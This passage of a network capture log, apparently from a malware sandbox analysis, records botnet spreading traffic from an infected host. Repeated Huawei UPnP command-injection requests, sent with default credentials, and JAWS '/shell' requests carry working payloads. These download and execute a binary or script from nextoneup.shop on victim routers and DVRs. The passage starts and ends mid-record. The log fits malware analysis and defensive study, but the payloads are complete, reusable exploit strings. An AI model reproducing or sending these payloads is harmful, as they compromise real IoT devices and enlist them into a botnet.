huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:46.184190989 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:50.184146881 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2079	192.168.2.13	43546	80.88.214.211	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.620182991 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.943701982 CEST	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2080	192.168.2.13	50746	62.138.209.88	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.620526075 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.944056034 CEST	248	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:42 GMT Server: Apache/2.4.6 (CentOS) PHP/5.6.40 Content-Length: 10 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 46 6f 72 62 69 64 64 65 6e 2e Data Ascii: Forbidden.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2081	192.168.2.13	49190	54.240.187.152	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.629506111 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.961008072 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:42 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2082	192.168.2.13	60462	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.641660929 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:45Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2083	192.168.2.13	60524	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:44.328769922 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:47Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2084	192.168.2.13	60416	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:44.672849894 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:47Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2085	192.168.2.13	60584	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:44.985152006 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:47Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2086	192.168.2.13	60860	34.49.210.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.139466047 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.318125010 CEST	268	IN	HTTP/1.1 308 Permanent Redirect Cache-Control: private Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:45 GMT Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
2087	192.168.2.13	37080	167.82.21.21	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.140847921 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.312490940 CEST	545	IN	HTTP/1.1 500 Domain Not Found Connection: keep-alive Content-Length: 246 Server: Varnish Retry-After: 0 content-type: text/html Cache-Control: private, no-cache X-Served-By: cache-lax-kwhp1940050-LAX Accept-Ranges: bytes Date: Sun, 14 Apr 2024 02:01:45 GMT Via: 1.1 varnish Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 20 31 32 37 2e 30 2e 30 2e 31 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 3a 20 31 32 37 2e 30 2e 30 2e 31 2e 20 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 61 64 64 65 64 20 74 6f 20 61 20 73 65 72 76 69 63 65 2e 3c 2f 70 3e 0a 3c 70 3e 44 65 74 61 69 6c 73 3a 20 63 61 63 68 65 2d 6c 61 78 2d 6b 77 68 70 31 39 34 30 30 35 30 2d 4c 41 58 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Fastly error: unknown domain 127.0.0.1</title></head><body><p>Fastly error: unknown domain: 127.0.0.1. Please check that this domain has been added to a service.</p><p>Details: cache-lax-kwhp1940050-LAX</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2088	192.168.2.13	52284	184.31.108.44	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.192547083 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.418407917 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Sun, 14 Apr 2024 02:01:45 GMT Date: Sun, 14 Apr 2024 02:01:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 65 33 34 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 35 26 23 34 36 3b 32 63 66 33 64 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 65 33 34 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 35 26 23 34 36 3b 32 63 66 33 64 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1e343217.1713060105.2cf3d1<P>https://errors.edgesuite.net/9.1e343217.1713060105.2cf3d1</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2089	192.168.2.13	42326	23.34.113.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.192743063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.418678045 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:45 GMT Date: Sun, 14 Apr 2024 02:01:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 34 33 34 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 35 26 23 34 36 3b 31 35 34 32 66 38 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 34 33 34 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 35 26 23 34 36 3b 31 35 34 32 66 38 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.24343217.1713060105.1542f80<P>https://errors.edgesuite.net/9.24343217.1713060105.1542f80</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2090	192.168.2.13	33076	52.207.99.199	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.202513933 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.436803102 CEST	118	IN	HTTP/1.1 503 Service Unavailable: Back-end server is at capacity Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
2091	192.168.2.13	46626	89.19.45.154	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.203190088 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2092	192.168.2.13	59518	38.153.99.160	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.215574026 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.462768078 CEST	1289	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Sun, 14 Apr 2024 01:50:22 GMT Content-Type: text/html Content-Length: 3263 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 